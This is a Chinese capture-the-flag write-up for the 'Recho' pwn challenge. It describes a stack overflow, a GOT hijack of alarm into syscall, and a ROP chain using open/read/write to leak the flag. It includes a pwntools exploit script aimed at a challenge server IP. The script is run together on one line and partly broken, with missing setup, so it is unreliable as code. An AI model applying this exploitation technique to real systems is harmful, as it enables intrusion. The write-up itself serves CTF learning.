攻防世界高手进阶区RechoWP-飞外

打开IDA-64,一路默认,看到main函数:

可以看到执行的功能是先输入字符串长度,然后输入字符串,接着会返回指定长度的输入字符串。如果一开始输入的数字小于16,会指定长度为16。可以看到很明显的栈溢出漏洞。但是又有些不一样,看大神WP才知道需要shutdown('send')跳出循环才可以。

0x02 漏洞在哪里?

这个题目有个明显后门,在IDA中shift+f12查看程序中的字符串,发现有flag。可以将它read到bss段中,再通过write输出出来

在gdb动态调试时,分析alarm,发现有
disassemble alarm

0x03 利用思路

漏洞利用思路如下:

alrm函数got表劫持到syscall位置open('flag',READONLY)通过read将flag写入到bss段,之后再write输出
ROP链条:
syscall flag read write
ROP地址

0x04 EXP脚本

exp代码如下:

from pwn import *# io = process('./Recho')io = remote('111.198.29.45',41375)elf = ELF('./Recho')context.log_level = 'debug'pop_rdi = 0x4008a3pop_rdx = 0x4006fepop_rax = 0x4006fcpop_rsi_r15 = 0x4008a1rdi_add = 0x40070dflag_addr = elf.symbols['flag'] read_got = elf.got['read']# bss = 0x601090bss = elf.bss() #两者都可以read_plt = elf.plt['read']write_plt = elf.plt['write']alarm_got = elf.got['alarm']alarm_plt = elf.plt['alarm']print 'flag: ',hex(flag_addr)
payload += p64(pop_rsi_r15)+p64(0)+p64(0) #rsi=0(READONLY)payload += p64(pop_rdx)+p64(0) # rdx = 0payload += p64(pop_rax)+p64(0x2) # rax=2,open的调用号为2# 执行alarm完成GOT表劫持,syscall的传参顺序是rdi,rsi,rdx,r10,r9,r8payload += p64(alarm_plt) # 将flag传回的值写入到bss段 read(fd,stdin_buffer,100)payload += p64(pop_rdi)+p64(3) #open()打开文件返回的文件描述符一般从3开始,系统环境不一样也可能不是3,依次顺序增加payload += p64(pop_rdx)+p64(0x2d) #指定长度payload += p64(pop_rsi_r15)+p64(bss)+p64(0) # rsi =写入的地址,用于存取open结果payload += p64(read_plt)#输出flag值,write(1,bss,0x40),也可以用print函数payload += p64(pop_rsi_r15)+p64(bss)+p64(0)payload += p64(pop_rdx)+p64(0x40)payload += p64(pop_rdi)+p64(0x01)payload += p64(write_plt)# 用printf 函数时,要注意bss段的可写性,bss此时应改为0x601090或者0x601070#payload+=p64(pop_rdi)+p64(bss)+p64(printf_plt) io.sendline(str(0x200))# log.info('the length of payload is:',format(hex(len(payload))))print 'the length of payload is:',format(hex(len(payload)))payload = payload.ljust(0x200,'x00')io.send(payload)io.recv()io.shutdown('send')io.interactive()
0x05 知识点

函数参数传递顺序
当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9